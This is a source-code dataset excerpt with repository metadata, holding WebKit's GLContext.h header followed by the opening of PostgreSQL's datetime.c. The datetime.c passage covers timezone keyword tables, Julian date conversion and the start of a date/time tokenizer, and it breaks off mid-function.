3rdparty/webkit/Source/WebCore/platform/graphics/GLContext.h
mchiasson/PhaserNative
f867454602c395484bf730a7c43b9c586c102ac2
[ "MIT" ]
null
null
null
3rdparty/webkit/Source/WebCore/platform/graphics/GLContext.h
mchiasson/PhaserNative
f867454602c395484bf730a7c43b9c586c102ac2
[ "MIT" ]
null
null
null
3rdparty/webkit/Source/WebCore/platform/graphics/GLContext.h
mchiasson/PhaserNative
f867454602c395484bf730a7c43b9c586c102ac2
[ "MIT" ]
1
2019-01-25T13:55:25.000Z
2019-01-25T13:55:25.000Z
/* * Copyright (C) 2012 Igalia S.L. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301 USA */ #ifndef GLContext_h #define GLContext_h #include "GraphicsContext3D.h" #include "PlatformDisplay.h" #include <wtf/Noncopyable.h> #if USE(EGL) && !PLATFORM(GTK) #if PLATFORM(WPE) // FIXME: For now default to the GBM EGL platform, but this should really be // somehow deducible from the build configuration. #define __GBM__ 1 #endif // PLATFORM(WPE) #include <EGL/eglplatform.h> typedef EGLNativeWindowType GLNativeWindowType; #else // !USE(EGL) || PLATFORM(GTK) typedef uint64_t GLNativeWindowType; #endif #if USE(CAIRO) typedef struct _cairo_device cairo_device_t; #endif namespace WebCore { class GLContext { WTF_MAKE_NONCOPYABLE(GLContext); WTF_MAKE_FAST_ALLOCATED; public: WEBCORE_EXPORT static std::unique_ptr<GLContext> createContextForWindow(GLNativeWindowType windowHandle, PlatformDisplay* = nullptr); static std::unique_ptr<GLContext> createOffscreenContext(PlatformDisplay* = nullptr); static std::unique_ptr<GLContext> createSharingContext(PlatformDisplay&); static GLContext* current(); static bool isExtensionSupported(const char* extensionList, const char* extension); PlatformDisplay& display() const { return m_display; } unsigned version(); virtual ~GLContext(); virtual bool makeContextCurrent(); virtual void swapBuffers() = 0; virtual void waitNative() = 0; virtual bool canRenderToDefaultFramebuffer() = 0; virtual IntSize defaultFrameBufferSize() = 0; virtual void swapInterval(int) = 0; virtual bool isEGLContext() const = 0; #if USE(CAIRO) virtual cairo_device_t* cairoDevice() = 0; #endif #if ENABLE(GRAPHICS_CONTEXT_3D) virtual PlatformGraphicsContext3D platformContext() = 0; #endif #if PLATFORM(X11) private: static void addActiveContext(GLContext*); static void removeActiveContext(GLContext*); static void cleanupActiveContextsAtExit(); #endif protected: GLContext(PlatformDisplay&); PlatformDisplay& m_display; unsigned m_version { 0 }; }; } // namespace WebCore #endif // GLContext_h
30.695652
137
0.747167
861d74284ac1bdd360cd0e69b2192e590d9315ea
82,929
c
C
postgresql/src/backend/utils/adt/datetime.c
anjingbin/starccm
70db48004aa20bbb82cc24de80802b40c7024eff
[ "BSD-3-Clause" ]
2
2020-01-06T07:43:30.000Z
2020-07-11T20:53:53.000Z
postgresql/src/backend/utils/adt/datetime.c
anjingbin/starccm
70db48004aa20bbb82cc24de80802b40c7024eff
[ "BSD-3-Clause" ]
null
null
null
postgresql/src/backend/utils/adt/datetime.c
anjingbin/starccm
70db48004aa20bbb82cc24de80802b40c7024eff
[ "BSD-3-Clause" ]
null
null
null
/*------------------------------------------------------------------------- * * datetime.c * Support functions for date/time types. * * Portions Copyright (c) 1996-2001, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * * IDENTIFICATION * $Header: /home/hjcvs/OB-CCM-1.0/postgresql/src/backend/utils/adt/datetime.c,v 1.2 2004/07/05 08:55:39 SuLiang Exp $ * *------------------------------------------------------------------------- */ #include "postgres.h" #include <ctype.h> #include <math.h> #include <sys/types.h> #include <errno.h> #include <float.h> #include <limits.h> #include "miscadmin.h" #include "utils/guc.h" #include "utils/datetime.h" static int DecodeNumber(int flen, char *field, int fmask, int *tmask, struct tm * tm, double *fsec, int *is2digits); static int DecodeNumberField(int len, char *str, int fmask, int *tmask, struct tm * tm, double *fsec, int *is2digits); static int DecodeTime(char *str, int fmask, int *tmask, struct tm * tm, double *fsec); static int DecodeTimezone(char *str, int *tzp); static datetkn *datebsearch(char *key, datetkn *base, unsigned int nel); static int DecodeDate(char *str, int fmask, int *tmask, struct tm * tm); static int DecodePosixTimezone(char *str, int *val); void TrimTrailingZeros(char *str); int day_tab[2][13] = { {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31, 0}, {31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31, 0}}; char *months[] = {"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", NULL}; char *days[] = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", NULL}; /***************************************************************************** * PRIVATE ROUTINES * *****************************************************************************/ /* definitions for squeezing values into "value" */ #define ABS_SIGNBIT ((char) 0200) #define VALMASK ((char) 0177) #define NEG(n) ((n)|ABS_SIGNBIT) #define SIGNEDCHAR(c) ((c)&ABS_SIGNBIT? -((c)&VALMASK): (c)) #define FROMVAL(tp) (-SIGNEDCHAR((tp)->value) * 10) /* uncompress */ #define TOVAL(tp, v) ((tp)->value = ((v) < 0? NEG((-(v))/10): (v)/10)) /* * datetktbl holds date/time keywords. Note that this table must be strictly * ordered to allow an O(ln(N)) search algorithm. * * To keep this table reasonably small, we divide the lexval for TZ and DTZ * entries by 10 and truncate the text field at MAXTOKLEN characters. * the text field is not guaranteed to be NULL-terminated. * * Let's include all strings from my current zinc time zone database. * Not all of them are unique, or even very understandable, so we will * leave some commented out for now. */ static datetkn datetktbl[] = { /* text, token, lexval */ {EARLY, RESERV, DTK_EARLY}, /* "-infinity" reserved for "early time" */ {"acsst", DTZ, 63}, /* Cent. Australia */ {"acst", DTZ, NEG(24)}, /* Atlantic/Porto Acre */ {"act", TZ, NEG(30)}, /* Atlantic/Porto Acre */ {DA_D, ADBC, AD}, /* "ad" for years >= 0 */ {"abstime", IGNORE, 0}, /* for pre-v6.1 "Invalid Abstime" */ {"adt", DTZ, NEG(18)}, /* Atlantic Daylight Time */ {"aesst", DTZ, 66}, /* E. Australia */ {"aest", TZ, 60}, /* Australia Eastern Std Time */ {"aft", TZ, 27}, /* Kabul */ {"ahst", TZ, NEG(60)}, /* Alaska-Hawaii Std Time */ {"akdt", DTZ, NEG(48)}, /* Alaska Daylight Time */ {"akst", DTZ, NEG(54)}, /* Alaska Standard Time */ {"allballs", RESERV, DTK_ZULU}, /* 00:00:00 */ {"almt", TZ, 36}, /* Almaty Time */ {"almst", TZ, 42}, /* Almaty Savings Time */ {"am", AMPM, AM}, {"amst", DTZ, 30}, /* Armenia Summer Time (Yerevan) */ {"amt", TZ, 24}, /* Armenia Time (Yerevan) */ #if 0 {"amst", DTZ, NEG(18)}, /* Porto Velho */ #endif {"anast", DTZ, 78}, /* Anadyr Summer Time (Russia) */ {"anat", TZ, 72}, /* Anadyr Time (Russia) */ #if 0 aqtst aqtt arst #endif {"art", TZ, NEG(18)}, /* Argentina Time */ #if 0 ashst ast /* Atlantic Standard Time, Arabia Standard Time, Acre Standard Time */ #endif {"apr", MONTH, 4}, {"april", MONTH, 4}, {"ast", TZ, NEG(24)}, /* Atlantic Std Time (Canada) */ {"at", IGNORE, 0}, /* "at" (throwaway) */ {"aug", MONTH, 8}, {"august", MONTH, 8}, {"awsst", DTZ, 54}, /* W. Australia */ {"awst", TZ, 48}, /* W. Australia */ {"awt", DTZ, NEG(18)}, {"azost", DTZ, 0}, /* Azores Summer Time */ {"azot", TZ, NEG(6)}, /* Azores Time */ {"azst", DTZ, 30}, /* Azerbaijan Summer Time */ {"azt", TZ, 24}, /* Azerbaijan Time */ {DB_C, ADBC, BC}, /* "bc" for years < 0 */ {"bdst", TZ, 12}, /* British Double Summer Time */ {"bdt", TZ, 36}, /* Dacca */ {"bnt", TZ, 48}, /* Brunei Darussalam Time */ {"bort", TZ, 48}, /* Borneo Time (Indonesia) */ #if 0 bortst bost #endif {"bot", TZ, NEG(24)}, /* Bolivia Time */ {"bra", TZ, NEG(18)}, /* Brazil Time */ #if 0 brst brt #endif {"bst", DTZ, 6}, /* British Summer Time */ #if 0 {"bst", TZ, NEG(18)}, /* Brazil Standard Time */ {"bst", DTZ, NEG(66)}, /* Bering Summer Time */ #endif {"bt", TZ, 18}, /* Baghdad Time */ {"btt", TZ, 36}, /* Bhutan Time */ {"cadt", DTZ, 63}, /* Central Australian DST */ {"cast", TZ, 57}, /* Central Australian ST */ {"cat", TZ, NEG(60)}, /* Central Alaska Time */ {"cct", TZ, 48}, /* China Coast Time */ #if 0 {"cct", TZ, 39}, /* Indian Cocos (Island) Time */ #endif {"cdt", DTZ, NEG(30)}, /* Central Daylight Time */ {"cest", DTZ, 12}, /* Central European Dayl.Time */ {"cet", TZ, 6}, /* Central European Time */ {"cetdst", DTZ, 12}, /* Central European Dayl.Time */ #if 0 {"chadt", DTZ, 82}, /* Chatham Island Daylight Time (13:45? set to 13:40) */ {"chast", TZ, 76}, /* Chatham Island Time (12:45? set to 12:40) */ ckhst #endif {"ckt", TZ, 72}, /* Cook Islands Time */ {"clst", DTZ, NEG(18)}, /* Chile Summer Time */ {"clt", TZ, NEG(24)}, /* Chile Time */ #if 0 cost #endif {"cot", TZ, NEG(30)}, /* Columbia Time */ {"cst", TZ, NEG(36)}, /* Central Standard Time */ #if 0 cvst #endif {"cvt", TZ, 42}, /* Christmas Island Time (Indian Ocean) */ {"cxt", TZ, 42}, /* Christmas Island Time (Indian Ocean) */ {DCURRENT, RESERV, DTK_CURRENT}, /* "current" is always now */ {"d", UNITS, DTK_DAY}, /* "day of month" for ISO input */ {"davt", TZ, 42}, /* Davis Time (Antarctica) */ {"ddut", TZ, 60}, /* Dumont-d'Urville Time (Antarctica) */ {"dec", MONTH, 12}, {"december", MONTH, 12}, {"dnt", TZ, 6}, /* Dansk Normal Tid */ {"dow", RESERV, DTK_DOW}, /* day of week */ {"doy", RESERV, DTK_DOY}, /* day of year */ {"dst", DTZMOD, 6}, #if 0 {"dusst", DTZ, 36}, /* Dushanbe Summer Time */ #endif {"easst", DTZ, NEG(30)}, /* Easter Island Summer Time */ {"east", TZ, NEG(36)}, /* Easter Island Time */ {"eat", TZ, 18}, /* East Africa Time */ #if 0 {"east", DTZ, 24}, /* Indian Antananarivo Savings Time */ {"eat", TZ, 18}, /* Indian Antananarivo Time */ {"ect", TZ, NEG(24)}, /* Eastern Caribbean Time */ {"ect", TZ, NEG(30)}, /* Ecuador Time */ #endif {"edt", DTZ, NEG(24)}, /* Eastern Daylight Time */ {"eest", DTZ, 18}, /* Eastern Europe Summer Time */ {"eet", TZ, 12}, /* East. Europe, USSR Zone 1 */ {"eetdst", DTZ, 18}, /* Eastern Europe Daylight Time */ {"egst", DTZ, 0}, /* East Greenland Summer Time */ {"egt", TZ, NEG(6)}, /* East Greenland Time */ #if 0 ehdt #endif {EPOCH, RESERV, DTK_EPOCH}, /* "epoch" reserved for system epoch time */ {"est", TZ, NEG(30)}, /* Eastern Standard Time */ {"feb", MONTH, 2}, {"february", MONTH, 2}, {"fjst", DTZ, NEG(78)}, /* Fiji Summer Time (13 hour offset!) */ {"fjt", TZ, NEG(72)}, /* Fiji Time */ {"fkst", DTZ, NEG(18)}, /* Falkland Islands Summer Time */ {"fkt", TZ, NEG(12)}, /* Falkland Islands Time */ #if 0 fnst fnt #endif {"fri", DOW, 5}, {"friday", DOW, 5}, {"fst", TZ, 6}, /* French Summer Time */ {"fwt", DTZ, 12}, /* French Winter Time */ {"galt", TZ, NEG(36)}, /* Galapagos Time */ {"gamt", TZ, NEG(54)}, /* Gambier Time */ {"gest", DTZ, 30}, /* Georgia Summer Time */ {"get", TZ, 24}, /* Georgia Time */ {"gft", TZ, NEG(18)}, /* French Guiana Time */ #if 0 ghst #endif {"gilt", TZ, 72}, /* Gilbert Islands Time */ {"gmt", TZ, 0}, /* Greenwish Mean Time */ {"gst", TZ, 60}, /* Guam Std Time, USSR Zone 9 */ {"gyt", TZ, NEG(24)}, /* Guyana Time */ {"h", UNITS, DTK_HOUR}, /* "hour" */ #if 0 hadt hast #endif {"hdt", DTZ, NEG(54)}, /* Hawaii/Alaska Daylight Time */ #if 0 hkst #endif {"hkt", TZ, 48}, /* Hong Kong Time */ #if 0 {"hmt", TZ, 18}, /* Hellas ? ? */ hovst hovt #endif {"hst", TZ, NEG(60)}, /* Hawaii Std Time */ #if 0 hwt #endif {"ict", TZ, 42}, /* Indochina Time */ {"idle", TZ, 72}, /* Intl. Date Line, East */ {"idlw", TZ, NEG(72)}, /* Intl. Date Line, West */ #if 0 idt /* Israeli, Iran, Indian Daylight Time */ #endif {LATE, RESERV, DTK_LATE}, /* "infinity" reserved for "late time" */ {INVALID, RESERV, DTK_INVALID}, /* "invalid" reserved for bad time */ {"iot", TZ, 30}, /* Indian Chagos Time */ {"irkst", DTZ, 54}, /* Irkutsk Summer Time */ {"irkt", TZ, 48}, /* Irkutsk Time */ {"irt", TZ, 21}, /* Iran Time */ #if 0 isst #endif {"ist", TZ, 12}, /* Israel */ {"it", TZ, 21}, /* Iran Time */ {"j", UNITS, DTK_JULIAN}, {"jan", MONTH, 1}, {"january", MONTH, 1}, {"javt", TZ, 42}, /* Java Time (07:00? see JT) */ {"jayt", TZ, 54}, /* Jayapura Time (Indonesia) */ {"jd", UNITS, DTK_JULIAN}, {"jst", TZ, 54}, /* Japan Std Time,USSR Zone 8 */ {"jt", TZ, 45}, /* Java Time (07:30? see JAVT) */ {"jul", MONTH, 7}, {"julian", UNITS, DTK_JULIAN}, {"july", MONTH, 7}, {"jun", MONTH, 6}, {"june", MONTH, 6}, {"kdt", DTZ, 60}, /* Korea Daylight Time */ {"kgst", DTZ, 36}, /* Kyrgyzstan Summer Time */ {"kgt", TZ, 30}, /* Kyrgyzstan Time */ {"kost", TZ, 72}, /* Kosrae Time */ {"krast", DTZ, 42}, /* Krasnoyarsk Summer Time */ {"krat", TZ, 48}, /* Krasnoyarsk Standard Time */ {"kst", TZ, 54}, /* Korea Standard Time */ {"lhdt", DTZ, 66}, /* Lord Howe Daylight Time, Australia */ {"lhst", TZ, 63}, /* Lord Howe Standard Time, Australia */ {"ligt", TZ, 60}, /* From Melbourne, Australia */ {"lint", TZ, 84}, /* Line Islands Time (Kiribati; +14 hours!) */ {"lkt", TZ, 36}, /* Lanka Time */ {"m", UNITS, DTK_MONTH}, /* "month" for ISO input */ {"magst", DTZ, 72}, /* Magadan Summer Time */ {"magt", TZ, 66}, /* Magadan Time */ {"mar", MONTH, 3}, {"march", MONTH, 3}, {"mart", TZ, NEG(57)}, /* Marquesas Time */ {"mawt", TZ, 36}, /* Mawson, Antarctica */ {"may", MONTH, 5}, {"mdt", DTZ, NEG(36)}, /* Mountain Daylight Time */ {"mest", DTZ, 12}, /* Middle Europe Summer Time */ {"met", TZ, 6}, /* Middle Europe Time */ {"metdst", DTZ, 12}, /* Middle Europe Daylight Time */ {"mewt", TZ, 6}, /* Middle Europe Winter Time */ {"mez", TZ, 6}, /* Middle Europe Zone */ {"mht", TZ, 72}, /* Kwajalein */ {"mm", UNITS, DTK_MINUTE}, /* "minute" for ISO input */ {"mmt", TZ, 39}, /* Myannar Time */ {"mon", DOW, 1}, {"monday", DOW, 1}, #if 0 most #endif {"mpt", TZ, 60}, /* North Mariana Islands Time */ {"msd", DTZ, 24}, /* Moscow Summer Time */ {"msk", TZ, 18}, /* Moscow Time */ {"mst", TZ, NEG(42)}, /* Mountain Standard Time */ {"mt", TZ, 51}, /* Moluccas Time */ {"mut", TZ, 24}, /* Mauritius Island Time */ {"mvt", TZ, 30}, /* Maldives Island Time */ {"myt", TZ, 48}, /* Malaysia Time */ #if 0 ncst #endif {"nct", TZ, 66}, /* New Caledonia Time */ {"ndt", DTZ, NEG(15)}, /* Nfld. Daylight Time */ {"nft", TZ, NEG(21)}, /* Newfoundland Standard Time */ {"nor", TZ, 6}, /* Norway Standard Time */ {"nov", MONTH, 11}, {"november", MONTH, 11}, {"novst", DTZ, 42}, /* Novosibirsk Summer Time */ {"novt", TZ, 36}, /* Novosibirsk Standard Time */ {NOW, RESERV, DTK_NOW}, /* current transaction time */ {"nst", TZ, NEG(21)}, /* Nfld. Standard Time */ {"nt", TZ, NEG(66)}, /* Nome Time */ {"nut", TZ, NEG(66)}, /* Niue Time */ {"nzdt", DTZ, 78}, /* New Zealand Daylight Time */ {"nzst", TZ, 72}, /* New Zealand Standard Time */ {"nzt", TZ, 72}, /* New Zealand Time */ {"oct", MONTH, 10}, {"october", MONTH, 10}, {"omsst", DTZ, 42}, /* Omsk Summer Time */ {"omst", TZ, 36}, /* Omsk Time */ {"on", IGNORE, 0}, /* "on" (throwaway) */ {"pdt", DTZ, NEG(42)}, /* Pacific Daylight Time */ #if 0 pest #endif {"pet", TZ, NEG(30)}, /* Peru Time */ {"petst", DTZ, 78}, /* Petropavlovsk-Kamchatski Summer Time */ {"pett", TZ, 72}, /* Petropavlovsk-Kamchatski Time */ {"pgt", TZ, 60}, /* Papua New Guinea Time */ {"phot", TZ, 78}, /* Phoenix Islands (Kiribati) Time */ #if 0 phst #endif {"pht", TZ, 48}, /* Phillipine Time */ {"pkt", TZ, 30}, /* Pakistan Time */ {"pm", AMPM, PM}, {"pmdt", DTZ, NEG(12)}, /* Pierre & Miquelon Daylight Time */ #if 0 pmst #endif {"pont", TZ, 66}, /* Ponape Time (Micronesia) */ {"pst", TZ, NEG(48)}, /* Pacific Standard Time */ {"pwt", TZ, 54}, /* Palau Time */ {"pyst", DTZ, NEG(18)}, /* Paraguay Summer Time */ {"pyt", TZ, NEG(24)}, /* Paraguay Time */ {"ret", DTZ, 24}, /* Reunion Island Time */ {"s", UNITS, DTK_SECOND}, /* "seconds" for ISO input */ {"sadt", DTZ, 63}, /* S. Australian Dayl. Time */ #if 0 samst samt #endif {"sast", TZ, 57}, /* South Australian Std Time */ {"sat", DOW, 6}, {"saturday", DOW, 6}, #if 0 sbt #endif {"sct", DTZ, 24}, /* Mahe Island Time */ {"sep", MONTH, 9}, {"sept", MONTH, 9}, {"september", MONTH, 9}, {"set", TZ, NEG(6)}, /* Seychelles Time ?? */ #if 0 sgt #endif {"sst", DTZ, 12}, /* Swedish Summer Time */ {"sun", DOW, 0}, {"sunday", DOW, 0}, {"swt", TZ, 6}, /* Swedish Winter Time */ #if 0 syot #endif {"t", ISOTIME, DTK_TIME}, /* Filler for ISO time fields */ {"that", TZ, NEG(60)}, /* Tahiti Time */ {"tft", TZ, 30}, /* Kerguelen Time */ {"thu", DOW, 4}, {"thur", DOW, 4}, {"thurs", DOW, 4}, {"thursday", DOW, 4}, {"tjt", TZ, 30}, /* Tajikistan Time */ {"tkt", TZ, NEG(60)}, /* Tokelau Time */ {"tmt", TZ, 30}, /* Turkmenistan Time */ {TODAY, RESERV, DTK_TODAY}, /* midnight */ {TOMORROW, RESERV, DTK_TOMORROW}, /* tomorrow midnight */ #if 0 tost #endif {"tot", TZ, 78}, /* Tonga Time */ #if 0 tpt #endif {"truk", TZ, 60}, /* Truk Time */ {"tue", DOW, 2}, {"tues", DOW, 2}, {"tuesday", DOW, 2}, {"tvt", TZ, 72}, /* Tuvalu Time */ #if 0 uct #endif {"ulast", DTZ, 54}, /* Ulan Bator Summer Time */ {"ulat", TZ, 48}, /* Ulan Bator Time */ {"undefined", RESERV, DTK_INVALID}, /* pre-v6.1 invalid time */ {"ut", TZ, 0}, {"utc", TZ, 0}, {"uyst", DTZ, NEG(12)}, /* Uruguay Summer Time */ {"uyt", TZ, NEG(18)}, /* Uruguay Time */ {"uzst", DTZ, 36}, /* Uzbekistan Summer Time */ {"uzt", TZ, 30}, /* Uzbekistan Time */ {"vet", TZ, NEG(24)}, /* Venezuela Time */ {"vlast", DTZ, 66}, /* Vladivostok Summer Time */ {"vlat", TZ, 60}, /* Vladivostok Time */ #if 0 vust #endif {"vut", TZ, 66}, /* Vanuata Time */ {"wadt", DTZ, 48}, /* West Australian DST */ {"wakt", TZ, 72}, /* Wake Time */ #if 0 warst #endif {"wast", TZ, 42}, /* West Australian Std Time */ {"wat", TZ, NEG(6)}, /* West Africa Time */ {"wdt", DTZ, 54}, /* West Australian DST */ {"wed", DOW, 3}, {"wednesday", DOW, 3}, {"weds", DOW, 3}, {"west", DTZ, 6}, /* Western Europe Summer Time */ {"wet", TZ, 0}, /* Western Europe */ {"wetdst", DTZ, 6}, /* Western Europe Daylight Savings Time */ {"wft", TZ, 72}, /* Wallis and Futuna Time */ {"wgst", DTZ, NEG(12)}, /* West Greenland Summer Time */ {"wgt", TZ, NEG(18)}, /* West Greenland Time */ {"wst", TZ, 48}, /* West Australian Standard Time */ {"y", UNITS, DTK_YEAR}, /* "year" for ISO input */ {"yakst", DTZ, 60}, /* Yakutsk Summer Time */ {"yakt", TZ, 54}, /* Yakutsk Time */ {"yapt", TZ, 60}, /* Yap Time (Micronesia) */ {"ydt", DTZ, NEG(48)}, /* Yukon Daylight Time */ {"yekst", DTZ, 36}, /* Yekaterinburg Summer Time */ {"yekt", TZ, 30}, /* Yekaterinburg Time */ {YESTERDAY, RESERV, DTK_YESTERDAY}, /* yesterday midnight */ {"yst", TZ, NEG(54)}, /* Yukon Standard Time */ {"z", TZ, 0}, /* time zone tag per ISO-8601 */ {"zp4", TZ, NEG(24)}, /* UTC +4 hours. */ {"zp5", TZ, NEG(30)}, /* UTC +5 hours. */ {"zp6", TZ, NEG(36)}, /* UTC +6 hours. */ {ZULU, TZ, 0}, /* UTC */ }; static unsigned int szdatetktbl = sizeof datetktbl / sizeof datetktbl[0]; /* Used for SET australian_timezones to override North American ones */ static datetkn australian_datetktbl[] = { {"acst", TZ, 57}, /* Cent. Australia */ {"cst", TZ, 63}, /* Australia Central Std Time */ {"east", TZ, 60}, /* East Australian Std Time */ {"est", TZ, 60}, /* Australia Eastern Std Time */ {"sat", TZ, 57}, }; static unsigned int australian_szdatetktbl = sizeof australian_datetktbl / sizeof australian_datetktbl[0]; static datetkn deltatktbl[] = { /* text, token, lexval */ {"@", IGNORE, 0}, /* postgres relative prefix */ {DAGO, AGO, 0}, /* "ago" indicates negative time offset */ {"c", UNITS, DTK_CENTURY}, /* "century" relative */ {"cent", UNITS, DTK_CENTURY}, /* "century" relative */ {"centuries", UNITS, DTK_CENTURY}, /* "centuries" relative */ {DCENTURY, UNITS, DTK_CENTURY}, /* "century" relative */ {"d", UNITS, DTK_DAY}, /* "day" relative */ {DDAY, UNITS, DTK_DAY}, /* "day" relative */ {"days", UNITS, DTK_DAY}, /* "days" relative */ {"dec", UNITS, DTK_DECADE}, /* "decade" relative */ {"decs", UNITS, DTK_DECADE}, /* "decades" relative */ {DDECADE, UNITS, DTK_DECADE}, /* "decade" relative */ {"decades", UNITS, DTK_DECADE}, /* "decades" relative */ {"h", UNITS, DTK_HOUR}, /* "hour" relative */ {DHOUR, UNITS, DTK_HOUR}, /* "hour" relative */ {"hours", UNITS, DTK_HOUR}, /* "hours" relative */ {"hr", UNITS, DTK_HOUR}, /* "hour" relative */ {"hrs", UNITS, DTK_HOUR}, /* "hours" relative */ {INVALID, RESERV, DTK_INVALID}, /* reserved for invalid time */ {"m", UNITS, DTK_MINUTE}, /* "minute" relative */ {"microsecon", UNITS, DTK_MICROSEC}, /* "microsecond" relative */ {"mil", UNITS, DTK_MILLENNIUM}, /* "millennium" relative */ {"millennia", UNITS, DTK_MILLENNIUM}, /* "millennia" relative */ {DMILLENNIUM, UNITS, DTK_MILLENNIUM}, /* "millennium" relative */ {"millisecon", UNITS, DTK_MILLISEC}, /* relative */ {"mils", UNITS, DTK_MILLENNIUM}, /* "millennia" relative */ {"min", UNITS, DTK_MINUTE}, /* "minute" relative */ {"mins", UNITS, DTK_MINUTE}, /* "minutes" relative */ {"mins", UNITS, DTK_MINUTE}, /* "minutes" relative */ {DMINUTE, UNITS, DTK_MINUTE}, /* "minute" relative */ {"minutes", UNITS, DTK_MINUTE}, /* "minutes" relative */ {"mon", UNITS, DTK_MONTH}, /* "months" relative */ {"mons", UNITS, DTK_MONTH}, /* "months" relative */ {DMONTH, UNITS, DTK_MONTH}, /* "month" relative */ {"months", UNITS, DTK_MONTH}, {"ms", UNITS, DTK_MILLISEC}, {"msec", UNITS, DTK_MILLISEC}, {DMILLISEC, UNITS, DTK_MILLISEC}, {"mseconds", UNITS, DTK_MILLISEC}, {"msecs", UNITS, DTK_MILLISEC}, {"qtr", UNITS, DTK_QUARTER}, /* "quarter" relative */ {DQUARTER, UNITS, DTK_QUARTER}, /* "quarter" relative */ {"reltime", IGNORE, 0}, /* pre-v6.1 "Undefined Reltime" */ {"s", UNITS, DTK_SECOND}, {"sec", UNITS, DTK_SECOND}, {DSECOND, UNITS, DTK_SECOND}, {"seconds", UNITS, DTK_SECOND}, {"secs", UNITS, DTK_SECOND}, {DTIMEZONE, UNITS, DTK_TZ}, /* "timezone" time offset */ {"timezone", UNITS, DTK_TZ}, /* "timezone" time offset */ {"timezone_h", UNITS, DTK_TZ_HOUR}, /* timezone hour units */ {"timezone_m", UNITS, DTK_TZ_MINUTE}, /* timezone minutes units */ {"undefined", RESERV, DTK_INVALID}, /* pre-v6.1 invalid time */ {"us", UNITS, DTK_MICROSEC}, /* "microsecond" relative */ {"usec", UNITS, DTK_MICROSEC}, /* "microsecond" relative */ {DMICROSEC, UNITS, DTK_MICROSEC}, /* "microsecond" relative */ {"useconds", UNITS, DTK_MICROSEC}, /* "microseconds" relative */ {"usecs", UNITS, DTK_MICROSEC}, /* "microseconds" relative */ {"w", UNITS, DTK_WEEK}, /* "week" relative */ {DWEEK, UNITS, DTK_WEEK}, /* "week" relative */ {"weeks", UNITS, DTK_WEEK}, /* "weeks" relative */ {"y", UNITS, DTK_YEAR}, /* "year" relative */ {DYEAR, UNITS, DTK_YEAR}, /* "year" relative */ {"years", UNITS, DTK_YEAR}, /* "years" relative */ {"yr", UNITS, DTK_YEAR}, /* "year" relative */ {"yrs", UNITS, DTK_YEAR}, /* "years" relative */ }; static unsigned int szdeltatktbl = sizeof deltatktbl / sizeof deltatktbl[0]; datetkn *datecache[MAXDATEFIELDS] = {NULL}; datetkn *deltacache[MAXDATEFIELDS] = {NULL}; /* * Calendar time to Julian date conversions. * Julian date is commonly used in astronomical applications, * since it is numerically accurate and computationally simple. * The algorithms here will accurately convert between Julian day * and calendar date for all non-negative Julian days * (i.e. from Nov 23, -4713 on). * * Ref: Explanatory Supplement to the Astronomical Almanac, 1992. * University Science Books, 20 Edgehill Rd. Mill Valley CA 94941. * * Use the algorithm by Henry Fliegel, a former NASA/JPL colleague * now at Aerospace Corp. (hi, Henry!) * * These routines will be used by other date/time packages * - thomas 97/02/25 */ int date2j(int y, int m, int d) { int m12 = (m - 14) / 12; return ((1461 * (y + 4800 + m12)) / 4 + (367 * (m - 2 - 12 * (m12))) / 12 - (3 * ((y + 4900 + m12) / 100)) / 4 + d - 32075); } /* date2j() */ void j2date(int jd, int *year, int *month, int *day) { int j, y, m, d; int i, l, n; l = jd + 68569; n = (4 * l) / 146097; l -= (146097 * n + 3) / 4; i = (4000 * (l + 1)) / 1461001; l += 31 - (1461 * i) / 4; j = (80 * l) / 2447; d = l - (2447 * j) / 80; l = j / 11; m = (j + 2) - (12 * l); y = 100 * (n - 49) + i + l; *year = y; *month = m; *day = d; return; } /* j2date() */ int j2day(int date) { int day; day = (date + 1) % 7; return day; } /* j2day() */ /* TrimTrailingZeros() * ... resulting from printing numbers with full precision. */ void TrimTrailingZeros(char *str) { int len = strlen(str); #if 0 /* chop off trailing one to cope with interval rounding */ if (strcmp((str + len - 4), "0001") == 0) { len -= 4; *(str + len) = '\0'; } #endif /* chop off trailing zeros... */ while ((*(str + len - 1) == '0') && (*(str + len - 3) != '.')) { len--; *(str + len) = '\0'; } return; } /* ParseDateTime() * Break string into tokens based on a date/time context. * Several field types are assigned: * DTK_NUMBER - digits and (possibly) a decimal point * DTK_DATE - digits and two delimiters, or digits and text * DTK_TIME - digits, colon delimiters, and possibly a decimal point * DTK_STRING - text (no digits) * DTK_SPECIAL - leading "+" or "-" followed by text * DTK_TZ - leading "+" or "-" followed by digits * Note that some field types can hold unexpected items: * DTK_NUMBER can hold date fields (yy.ddd) * DTK_STRING can hold months (January) and time zones (PST) * DTK_DATE can hold Posix time zones (GMT-8) */ int ParseDateTime(char *timestr, char *lowstr, char **field, int *ftype, int maxfields, int *numfields) { int nf = 0; char *cp = timestr; char *lp = lowstr; /* outer loop through fields */ while (*cp != '\0') { field[nf] = lp; /* leading digit? then date or time */ if (isdigit((unsigned char) *cp)) { *lp++ = *cp++; while (isdigit((unsigned char) *cp)) *lp++ = *cp++; /* time field? */ if (*cp == ':') { ftype[nf] = DTK_TIME; *lp++ = *cp++; while (isdigit((unsigned char) *cp) || (*cp == ':') || (*cp == '.')) *lp++ = *cp++; } /* date field? allow embedded text month */ else if ((*cp == '-') || (*cp == '/') || (*cp == '.')) { /* save delimiting character to use later */ char *dp = cp; *lp++ = *cp++; /* second field is all digits? then no embedded text month */ if (isdigit((unsigned char) *cp)) { ftype[nf] = ((*dp == '.')? DTK_NUMBER: DTK_DATE); while (isdigit((unsigned char) *cp)) *lp++ = *cp++; /* insist that the delimiters match to get a three-field date. */ if (*cp == *dp) { ftype[nf] = DTK_DATE; *lp++ = *cp++; while (isdigit((unsigned char) *cp) || (*cp == *dp)) *lp++ = *cp++; } } else { ftype[nf] = 